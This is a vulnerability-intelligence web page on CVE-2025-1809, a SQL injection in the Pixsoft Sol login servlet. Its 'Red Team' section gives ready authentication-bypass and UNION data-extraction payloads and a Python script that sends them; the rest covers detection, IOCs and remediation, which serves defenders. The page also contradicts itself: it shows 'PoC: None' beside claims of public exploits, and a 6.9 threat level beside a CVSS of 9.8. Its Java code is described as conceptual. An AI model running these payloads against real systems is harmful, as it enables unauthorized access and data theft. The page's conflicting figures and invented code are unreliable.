☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1809

CVE-2025-1809 SQL Injection in Pixsoft
📅 PUBLISHED: 2025-03-02 06:00 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1809 is a critical SQL injection vulnerability discovered in Pixsoft Sol up to version 7.6.6c. The flaw resides in the login endpoint, specifically within the /pix_projetos/servlet file, where the txtUsuario parameter is improperly sanitized. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full system compromise. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based application (Pixsoft Sol) deployed on-premises or in private cloud environments. No open-source package registry is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login endpoint of Pixsoft Sol. The application constructs a SQL query by directly concatenating user-supplied input from the txtUsuario parameter without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating this parameter, leading to unauthorized database access.

Affected Component: /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041

Vulnerable Parameter: txtUsuario

Attack Vector: HTTP POST/GET request to the login servlet with a crafted txtUsuario value.

Example Injection: ' OR '1'='1' --

This would bypass authentication and potentially allow the attacker to execute arbitrary SQL statements.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison.

Vulnerable Code (Java Servlet):

String usuario = request.getParameter("txtUsuario");
String query = "SELECT * FROM usuarios WHERE usuario = '" + usuario + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String usuario = request.getParameter("txtUsuario");
String query = "SELECT * FROM usuarios WHERE usuario = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, usuario);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running Pixsoft Sol <= 7.6.6c
  • Network access to the login endpoint

Exploit Steps:

  1. Identify the login endpoint: http://target/pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041
  2. Craft a malicious txtUsuario parameter to perform SQL injection.

Example Payload (Authentication Bypass):

POST /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

txtUsuario=' OR '1'='1' -- &txtSenha=anything

Example Payload (Data Exfiltration):

POST /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

txtUsuario=' UNION SELECT username, password FROM users -- &txtSenha=anything

Automated Exploit (Python):

import requests

target = "http://target/pix_projetos/servlet"
params = {
    "act": "login",
    "submit": "1",
    "evento": "0",
    "pixrnd": "0125021816444195731041"
}
data = {
    "txtUsuario": "' OR '1'='1' --",
    "txtSenha": "anything"
}
response = requests.post(target, params=params, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL error messages in application logs.
  • Look for requests containing SQL keywords (e.g., OR, UNION, SELECT) in the txtUsuario parameter.
  • Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

  • Deploy a decoy Pixsoft Sol instance to capture attacker behavior.

Lab Setup:

  • Use Docker to create an isolated environment with Pixsoft Sol 7.6.6c.
  • Simulate attacks using the provided payloads and monitor logs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /pix_projetos/servlet with txtUsuario containing SQL keywords.
    • Unusual SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
  • File IOCs:
    • Log entries showing SQL injection attempts in application logs.
  • System IOCs:
    • Unexpected database queries or data exfiltration.
    • New user accounts created in the application database.

Detection Engineering

YARA Rule

YARA RULE
CVE_2025_1809_SQLi_Detection
Detects SQL injection attempts targeting CVE-2025-1809 in Pixsoft Sol
Reference: CVE-2025-1809
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
SQL Injection Attempt Against Pixsoft Sol Login Endpoint
Detects SQL injection attempts targeting CVE-2025-1809
Logsource: apache · access_combined · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2025-1809 SQL Injection Attempt
Protocol: HTTP · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems from the internet if possible.
  2. Apply virtual patching using a WAF to block SQL injection patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Since no official patch exists, consider migrating to an alternative solution or implementing a custom fix by rewriting the login endpoint to use parameterized queries.
  • Contact Pixsoft for an official patch or security update.

Compensating Controls:

  • Implement strict input validation and output encoding.
  • Use a database firewall to monitor and block malicious queries.
  • Enable detailed logging and alerting for suspicious database activity.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1809/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.